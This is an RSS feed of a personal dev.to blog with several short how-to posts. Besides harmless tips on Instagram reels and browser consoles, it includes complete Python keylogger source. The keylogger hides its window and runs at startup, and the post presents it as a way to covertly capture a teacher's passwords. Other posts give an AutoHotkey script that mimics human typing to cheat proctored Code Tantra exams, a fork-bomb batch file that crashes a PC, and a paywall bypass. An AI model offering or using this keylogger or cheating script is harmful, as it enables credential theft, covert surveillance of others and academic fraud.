<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: S I D D A R T H</title>
    <description>The latest articles on DEV Community by S I D D A R T H (@kaniska).</description>
    <link>https://dev.to/kaniska</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2968567%2F7153d514-bfd7-4533-ab56-54420d3b6c12.jpg</url>
      <title>DEV Community: S I D D A R T H</title>
      <link>https://dev.to/kaniska</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/kaniska"/>
    <language>en</language>
    <item>
      <title>Bypassing Code-Tantra Restrictions.</title>
      <dc:creator>S I D D A R T H</dc:creator>
      <pubDate>Sun, 30 Mar 2025 07:36:03 +0000</pubDate>
      <link>https://dev.to/kaniska/bypassing-code-tantra-restrictions-6cc</link>
      <guid>https://dev.to/kaniska/bypassing-code-tantra-restrictions-6cc</guid>
      <description>&lt;p&gt;Code Tantra is a online learning platform where online proctored tests are held. In that test you can’t copy and paste. A lot of restrictions are held to build a healthy environment, then made it hard to cheat in exams…but not impossible.&lt;/p&gt;

&lt;p&gt;I found various methods and tricks to cheat in code tantra, I will generally call those as bypassing methods 😶‍🌫️.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How to copy questions from code tantra ?&lt;/strong&gt;  — websites like these generally disable right click to reduce the features, however some baddies bypass that. Even after bypassing you can’t copy a thing — nature bro 🤣.&lt;/p&gt;

&lt;p&gt;In that case, you can simply install sider ai from chrome web store and select the text you will simply see a small rectangular popup, instead of copying manually or by keyboard shortcuts. You can do this do bypass this restriction.&lt;/p&gt;

&lt;p&gt;Actually there are many tricks like inspecting and copy the details and copying through dynamic editing but i fell this one is much easier.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpvwnwmmz7wf22i6mkv1w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpvwnwmmz7wf22i6mkv1w.png" width="800" height="210"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How to paste answers in code tantra ?&lt;/strong&gt;  — There are many ways to bypass this like Text-Blaze to paste something quickly. Something is very hard on my back ! 😶‍🌫️ Yeah even Text-Blaze doesn’t work on this website.&lt;/p&gt;

&lt;p&gt;Finally, I tried auto hot key. It works but…..&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwajsr1ltkk2iowu3hi9n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwajsr1ltkk2iowu3hi9n.png" width="800" height="389"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🤣 Not a matter, the reason i got from officials is my typing speed that is abnormal while typing. Yep! when i was using auto hot key even my laptop got lagged due to it’s speed. So i asked my friend to modify that code according to human typing speed.&lt;/p&gt;

&lt;p&gt;He nailed it, even he added something like backspacing the letters for a certain interval. I was really impressed :)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb73i33f7sw3dedvcu08c.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb73i33f7sw3dedvcu08c.jpeg" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can use this code to create a auto hot key.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Install-&lt;a href="https://www.autohotkey.com/" rel="noopener noreferrer"&gt;autohotkey&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Create a file with the extension of .ahk and click edit through notepad and paste this code.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I will share the code with comments, so you can modify the script as you please.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;^v::
clipboard := StrReplace(clipboard, "`r`n", "{Enter}") ; Replace new lines with Enter key

Loop, Parse, clipboard
{
    Send, %A_LoopField% ; Type each character
    Sleep, Random(100, 250) ; Random delay (100ms-250ms)

    if (Random(1, 20) = 1) ; 1 in 20 chance of a short pause (like thinking)
        Sleep, Random(300, 800)

    if (Random(1, 50) = 1) ; 1 in 50 chance of a "mistake" (backspace)
    {
        Send, {BS}
        Sleep, Random(100, 300)
        Send, %A_LoopField% ; Re-type the character
    }
}
return

Random(min, max) {
    return min + Floor((max - min + 1) * Rand())
}

Rand() {
    return DllCall("Kernel32.dll\GetTickCount") &amp;amp; 0xFFFF / 0xFFFF
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After creating this script, open the script and here you go. When ever you press &lt;strong&gt;Ctrl+V&lt;/strong&gt; , the content will be typed automatically.&lt;/p&gt;

&lt;p&gt;The End..&lt;/p&gt;

</description>
      <category>auto</category>
      <category>coding</category>
    </item>
    <item>
      <title>Inspect tool is crazy !!</title>
      <dc:creator>S I D D A R T H</dc:creator>
      <pubDate>Sat, 29 Mar 2025 14:46:37 +0000</pubDate>
      <link>https://dev.to/kaniska/inspect-tool-is-crazy--2gkd</link>
      <guid>https://dev.to/kaniska/inspect-tool-is-crazy--2gkd</guid>
      <description>&lt;h3&gt;
  
  
  Inspect tool is crazy !!
&lt;/h3&gt;

&lt;p&gt;I hope you guys doing good, my writing isn’t good as a professional writer. I hope you guys get along with me throughout this blog. (29/03/2025)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvm8gjmjgs7ny322bpudj.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvm8gjmjgs7ny322bpudj.jpeg"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Do you know, you can actually see the password in the browser that is shown as ***** !?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Well you have came through lot of these, where you have forgot the password hopefully you saved in browser password manager but you still need it to login in another device. Dramatically the “show password icon” is also disabled in your login site. Uffff…. well i got a solution where you can see the password, that’s simple. Select the password and inspect it, in inspect tab you can notice that something like &lt;strong&gt;type = password&lt;/strong&gt; simply change it to &lt;strong&gt;type = text&lt;/strong&gt;. It changes from **** → text.&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/HhP-sLH_c-c"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Do you know you can easily edit the website you visit, easily without inspecting each part and more..&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Press ‘Ctrl+Shift+I’ and navigate to console tab, and type this&lt;/p&gt;

&lt;p&gt;For Dynamic Editing-&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;document.body.contentEditable = true;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/tFZQo5nEakI"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;For Making images up-side down-&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;document.querySelectorAll('img').forEach(img =&amp;gt; img.style.transform = 'rotate(180deg)');
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can also automate java script working on web pages easily by creating a bookmark and instead of inserting link on that paste you js.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Bypass Right-Click Block (on Protected Sites) &lt;/em&gt;&lt;/strong&gt;&lt;em&gt;— Use Case: Some sites block right-click &amp;amp; text selection. Open Console (F12 &amp;gt; Console Tab). Paste this and hit Enter:&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;document.oncontextmenu = null;
document.onselectstart = null;
document.onmousedown = null;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To be continued. Excepted next update at (30/03/2025).&lt;/p&gt;

</description>
      <category>google</category>
      <category>chrome</category>
      <category>learn</category>
    </item>
    <item>
      <title>Hook Your Audience — Instagram.</title>
      <dc:creator>S I D D A R T H</dc:creator>
      <pubDate>Fri, 28 Mar 2025 16:13:10 +0000</pubDate>
      <link>https://dev.to/kaniska/hook-your-audience-instagram-59b1</link>
      <guid>https://dev.to/kaniska/hook-your-audience-instagram-59b1</guid>
      <description>&lt;h3&gt;
  
  
  Hook Your Audience — Instagram.
&lt;/h3&gt;

&lt;p&gt;carefully curated insights from &lt;a href="https://transparency.meta.com/" rel="noopener noreferrer"&gt;meta&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Even beginners with simple edits and basic content can get good views and reach. Meanwhile, creators who spend hours planning, editing, and perfecting their content often struggle to get the reach they expect. The reason is simple: Instagram’s algorithm tends to favor easily consumable, engaging content over complex, high-effort edits.&lt;/p&gt;

&lt;p&gt;First of all, you have to learn how reels suggestions are created, it is called as &lt;a href="https://transparency.meta.com/features/explaining-ranking/ig-reels-chaining/?referrer=2" rel="noopener noreferrer"&gt;reels chaining.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fngu7ui09uekzz6oaa1si.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fngu7ui09uekzz6oaa1si.jpeg" width="800" height="670"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Gathering Inventory&lt;/strong&gt;  — The system collects reels similar to what users have interacted with.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Leverage Signals&lt;/strong&gt;  — It analyzes length, similarity, and engagement to select ~100 reels.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Make Predictions&lt;/strong&gt;  — AI predicts which reels users will find most engaging.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ranking by Score&lt;/strong&gt;  — Reels are ordered by relevance score.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  How To Get High Ranking?
&lt;/h3&gt;

&lt;p&gt;Viewers decide within seconds whether to keep watching or scroll. Simple, easy-to-grasp content tends to grab attention faster.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Hook your audience, at least for the first 3 seconds — “The AI prioritizes reels that users watch for more than 3 seconds.”&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;If the content is &lt;strong&gt;too niche (&lt;/strong&gt;முக்கிய இடம்&lt;strong&gt;) or slow to grab attention&lt;/strong&gt;, people might scroll past.&lt;/li&gt;
&lt;li&gt;Instagram’s AI &lt;strong&gt;learns from audience behavior&lt;/strong&gt; , so if fewer people interact early, the reach decreases.&lt;/li&gt;
&lt;li&gt;Use engaging &lt;strong&gt;captions and trending audio&lt;/strong&gt; to boost interaction.&lt;/li&gt;
&lt;li&gt;Post &lt;strong&gt;consistently&lt;/strong&gt; to train the algorithm.&lt;/li&gt;
&lt;li&gt;Encourage engagement (likes, comments, shares).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Encouraging the audience to like, comment, and share might seem a bit shady, but the algorithm tends to favor exactly that.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Full-Screen Views: If users click on your reel to watch it full-screen on explore tab, that’s a good signal. “Tall, full-screen reels perform better.”&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdjbhy5et6uq4n0zwxs29.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdjbhy5et6uq4n0zwxs29.jpeg" width="800" height="670"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Insta aim to show you fewer reels that:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;Are muted, blurry, low resolution.&lt;/li&gt;
&lt;li&gt;Contain borders, logos, watermarks.&lt;/li&gt;
&lt;li&gt;Have the majority of the image covered by text.&lt;/li&gt;
&lt;li&gt;Aren’t own original videos.&lt;/li&gt;
&lt;li&gt;Go against insta &lt;a href="https://transparency.meta.com/policies/community-standards" rel="noopener noreferrer"&gt;Community Standards&lt;/a&gt; (e.g. contains hateful conduct or graphic violence) or insta &lt;a href="https://www.facebook.com/help/instagram/313829416281232" rel="noopener noreferrer"&gt;Recommendation Guidelines&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Avoid these mistakes at early stage of your creation journey.&lt;/p&gt;

&lt;p&gt;These are basic consideration you should consider while creating, try to hook your audience at least for first 3 seconds(Avoid intro), try to create tall vertical videos.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If you switch too much between different types of content (e.g., movie edits, vlogs, random memes), the algorithm may not know who to recommend your content to.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Stick to a theme&lt;/strong&gt; so the AI can properly recommend your content.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Is Higher Ranking All Matters ?
&lt;/h3&gt;

&lt;p&gt;Even if your ranking is good, low-quality content is like biting into a bitter gourd — unpleasant and forgettable. Focus on creating &lt;strong&gt;high-quality, engaging content&lt;/strong&gt; that truly impresses users, not just random, mindless memes.&lt;/p&gt;

&lt;p&gt;Instagram even mentioned about video and audio codec for reels, I prefer you to follow these codecs.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You can upload a reel with an aspect ratio between 1.91:1 and 9:16.&lt;/li&gt;
&lt;li&gt;Reels should have a minimum frame rate of 30 FPS (frames per second) and a minimum resolution of 720 pixels.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Video codec
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Progressive scan (no interlacing).&lt;/li&gt;
&lt;li&gt;High profile.&lt;/li&gt;
&lt;li&gt;Two consecutive B-frames.&lt;/li&gt;
&lt;li&gt;Closed GOP. GOP of half the frame rate.&lt;/li&gt;
&lt;li&gt;CABAC.&lt;/li&gt;
&lt;li&gt;Chroma subsampling: 4:2:0.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Audio codec
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Channels: Stereo or stereo + 5.1.&lt;/li&gt;
&lt;li&gt;Sample rate 96 kHz or 48 kHz.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Cover photo file format
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;png or jpg.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;No idea about codecs? Need a guide on how to export your projects with the right settings? Follow this page and stay tuned for upcoming posts!&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>trends</category>
      <category>instagram</category>
    </item>
    <item>
      <title>Keylogger Trick (ChatGPT Restricted) — Hacking My Teacher’s PC.</title>
      <dc:creator>S I D D A R T H</dc:creator>
      <pubDate>Thu, 27 Mar 2025 16:24:49 +0000</pubDate>
      <link>https://dev.to/kaniska/keylogger-trick-chatgpt-restricted-hacking-my-teachers-pc-2pnb</link>
      <guid>https://dev.to/kaniska/keylogger-trick-chatgpt-restricted-hacking-my-teachers-pc-2pnb</guid>
      <description>&lt;h3&gt;
  
  
  Keylogger Trick (ChatGPT Restricted) — Hacking My Teacher’s PC.
&lt;/h3&gt;

&lt;p&gt;This short vlog reveals a keylogger trick, often restricted from ChatGPT’s access. The goal is to capture all keystrokes, including passwords and usernames, across all browsers.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzjzxlcpc2bk76yjbr8nl.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzjzxlcpc2bk76yjbr8nl.jpeg" width="800" height="533"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Image is subjected to copyright.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Step 1 : Inserting a python script on my teacher’s computer.
&lt;/h3&gt;

&lt;p&gt;Well making this python script is easier, the script is easily understandable since it uses library for ease use.&lt;/p&gt;

&lt;p&gt;Requirements : pynput,pythonw.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;from pynput import keyboard
import os
LOG_FILE = "keylog.txt"
def on_press(key):
    try:
        with open(LOG_FILE, "a") as f:
            if hasattr(key, 'char') and key.char is not None:
                f.write(key.char)
            else:
                f.write(f"[{key}]")
    except Exception as e:
        print(f"Error: {e}")
if os.name == "nt":
    import ctypes
    ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
with keyboard.Listener(on_press=on_press) as listener:
    listener.join()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fluj8mcbbfkgkard0an05.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fluj8mcbbfkgkard0an05.png" width="800" height="179"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;keylogs.txt&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 : Launching this script using .bat file.
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Write Your Python Script&lt;/strong&gt;
Save your Python script (e.g., script.py) in a known location, such as C:\Users\YourName\Desktop.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Create a .bat File&lt;/strong&gt;
Open Notepad and type the following command:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;@echo off
start /B "" "C:\Users\sidhe\AppData\Local\Programs\Python\Python310\pythonw.exe" "C:\Users\sidhe\Desktop\keys.py"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 3: Run the .bat File Automatically at Startup
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Press&lt;/strong&gt;  &lt;strong&gt;Win + R&lt;/strong&gt; , type shell:startup, and press Enter.&lt;/li&gt;
&lt;li&gt;This opens the &lt;strong&gt;Startup&lt;/strong&gt; folder. Copy and paste your .bat file into this location.&lt;/li&gt;
&lt;li&gt;Now, every time your PC starts, the .bat file will run automatically, ensuring that keylogs are stored in keylogs.txt.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Troubleshooting:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;If the script doesn’t run properly at startup, check if Python is added to the system PATH.&lt;/li&gt;
&lt;li&gt;Try running the .bat file manually first to confirm it works.&lt;/li&gt;
&lt;li&gt;If you face any errors, feel free to share them, and I’ll help troubleshoot.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Instead of storing keylogs locally in keylogs.txt, consider saving them to a cloud service for easier access. Implementing this can enhance data availability and security.&lt;/p&gt;

</description>
      <category>trends</category>
      <category>keylogger</category>
    </item>
    <item>
      <title>5 Bored — stuffs to do with your laptop.</title>
      <dc:creator>S I D D A R T H</dc:creator>
      <pubDate>Wed, 26 Mar 2025 15:12:34 +0000</pubDate>
      <link>https://dev.to/kaniska/5-bored-stuffs-to-do-with-your-laptop-3l4a</link>
      <guid>https://dev.to/kaniska/5-bored-stuffs-to-do-with-your-laptop-3l4a</guid>
      <description>&lt;h3&gt;
  
  
  5 Bored — stuffs to do with your laptop.
&lt;/h3&gt;

&lt;p&gt;This blog is written for only bored stuffs, if you are bored read this it would be better, if you came for productivity — Quit now !!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1gvu1im8fb0zssnlyme5.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1gvu1im8fb0zssnlyme5.jpeg" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Hidden God Mode in Windows
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Open &lt;strong&gt;CMD&lt;/strong&gt; (Press Win + R, type cmd, and hit  &lt;strong&gt;Enter&lt;/strong&gt; ).&lt;/li&gt;
&lt;li&gt;Type this command:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ren "C:\Users\YourUserName\Desktop\New folder" "GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2. Secret Windows Admin Mode (Super Admin Account)
&lt;/h3&gt;

&lt;p&gt;🔹 Open CMD as &lt;strong&gt;Administrator&lt;/strong&gt; (Win + X → Command Prompt (Admin))&lt;br&gt;&lt;br&gt;
🔹 Type:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;net user administrator /active:yes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;🔹 Restart PC → New &lt;strong&gt;Administrator&lt;/strong&gt; account appears on login screen!&lt;/p&gt;

&lt;p&gt;To disable it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;net user administrator /active:no
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3. Hide Drives from File Explorer
&lt;/h3&gt;

&lt;p&gt;🔹 Open CMD as &lt;strong&gt;Administrator&lt;/strong&gt; (Win + X → Command Prompt (Admin))&lt;br&gt;&lt;br&gt;
 🔹 Type:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;diskpart
list volume
select volume X (replace X with the drive letter)
remove letter X
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Your drive disappears!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;To bring it back:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;assign letter X
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4. Make Your PC Crash Instantly (Don’t try unless you mean it! )
&lt;/h3&gt;

&lt;p&gt;Open &lt;strong&gt;Notepad&lt;/strong&gt; and paste:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;%0|%0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Save as &lt;strong&gt;crash.bat&lt;/strong&gt; → Running it &lt;strong&gt;crashes your system immediately!&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Fake Windows Update Screen (Prank Your Friends!)
&lt;/h3&gt;

&lt;p&gt;🔹 Open your browser and go to &lt;a href="http://fakeupdate.net/" rel="noopener noreferrer"&gt;&lt;strong&gt;fakeupdate.net&lt;/strong&gt;&lt;/a&gt;&lt;br&gt;&lt;br&gt;
 🔹 Press &lt;strong&gt;F11&lt;/strong&gt; to go fullscreen → Looks like a real Windows update!&lt;br&gt;&lt;br&gt;
 🔹 Press &lt;strong&gt;Enter&lt;/strong&gt; → Shows a fake &lt;strong&gt;BSOD (Blue Screen of Death)!&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>boredom</category>
      <category>windows</category>
      <category>nothing</category>
    </item>
    <item>
      <title>Read-Free Medium Membership Stories.</title>
      <dc:creator>S I D D A R T H</dc:creator>
      <pubDate>Tue, 25 Mar 2025 10:14:44 +0000</pubDate>
      <link>https://dev.to/kaniska/read-free-medium-membership-stories-3hal</link>
      <guid>https://dev.to/kaniska/read-free-medium-membership-stories-3hal</guid>
      <description>&lt;h3&gt;
  
  
  Hack the Medium ! — Free
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9meggum5u5k5qywxqctb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9meggum5u5k5qywxqctb.png" width="500" height="281"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Hey there, in this tutorial i am eager to share something that is really heroic. You can really read medium only-member stories for free without any struggle. You can get the rich content from the creators from worldwide for free. Since I live in India I don’t have stripe account and medium support only stripe for payout, I can’t able to payout in medium. So there is no drawback for me.&lt;/p&gt;

&lt;p&gt;You can achieve this trick by using &lt;a href="http://archive.is" rel="noopener noreferrer"&gt;&lt;em&gt;archive.is&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Simply open &lt;a href="http://archive.is" rel="noopener noreferrer"&gt;archive.is&lt;/a&gt; and paste the medium member only story link in the the first text bar. It automatically scrap the entire website and loads the full story without the paywalls.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why this works ?
&lt;/h3&gt;

&lt;p&gt;Simply put, an archive loads the website on its server instead of your computer. It uses bots, such as Google-friendly bots, to bypass paywalls. Since many websites do not restrict access to bots, they display the full content to these bots, and the archived website is dynamically rendered on your webpage.&lt;/p&gt;

